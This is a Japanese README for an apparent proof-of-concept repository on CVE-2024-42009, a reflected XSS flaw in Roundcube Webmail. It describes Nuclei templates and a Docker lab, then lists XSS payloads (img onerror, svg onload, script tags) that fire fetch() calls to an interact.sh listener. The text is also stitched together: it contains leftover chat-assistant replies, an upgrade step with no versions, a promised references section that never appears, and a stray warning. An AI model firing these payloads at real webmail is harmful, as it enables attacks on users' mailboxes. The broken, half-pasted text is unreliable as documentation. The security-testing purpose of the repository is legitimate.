
このリポジトリには、Roundcube Webmail の重大な反射型XSS脆弱性である CVE-2024-42009 を安全に実証・検証するための Nuclei テンプレート と補助リソースが含まれています。この欠陥は show.php の message_body() 関数に存在し、サニタイズ後の変更によりサニタイズが無効化され、細工された HTML メールコンテンツが安全でない方法でレンダリングされます。
⚠️ この PoC は 教育および許可されたテスト のみを目的としています。所有していないシステムや、明示的なテスト許可がないシステムに対して使用しないでください。
show.php の message_body()このリポジトリは、管理されたラボで JavaScript の実行を確認するために、Interactsh による Out-of-Band (OOB) 検出を使用しています。
<body> タグに onanimationstart と Interactsh へのビーコンを含む細工したメールを送信する提供されている Docker Compose ファイルを使用して、MailHog (SMTP シンク) と MariaDB を備えたローカル Roundcube インスタンスを起動します。
git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
http://localhost:8080http://localhost:8025⚠️ 自身の Google アカウントを使用しないでください。
CVE-2024-42009-OOB.yaml – Interactsh および Out-of-Band (OOB) 検出を使用した Nuclei テンプレートCVE-2024-42009.yaml – Interactsh と OOB を使用しない Nuclei テンプレートdocker-compose.yml – Roundcube Webmail 用のラボ環境セットアップImages/ – Interactsh からの HTTP/DNS ヒットを示すスクリーンショットこのビデオでは、エクスプロイトの一連の流れ全体を説明しています:
(ビデオデモ)
それらの XSS ペイロードを README に責任を持って含めるには、教育またはテスト目的 と明確にラベル付けされたセクションに配置することをお勧めします。以下は推奨構造です:
⚠️ 免責事項: これらのペイロードは、教育目的および許可されたセキュリティテストのみを目的としています。明示的な許可なくシステムにデプロイしないでください。
<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">
<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/HEAD/x" onerror="fetch('https://interact.sh/hit')">
<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>
<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>
<!-- JavaScript in iframe src -->
https://interact.sh/hit を独自のリスナーエンドポイントに置き換えてください。Roundcube を以下のバージョンにアップグレードしてください:
完璧です。CVE-2024-42009 の README またはメール提出に含めることができる、クリーンでプロフェッショナルな 参考情報 セクションを以下に示します。リストアップされたすべてのソースを引用し、明確さと信頼性のためにフォーマットされています: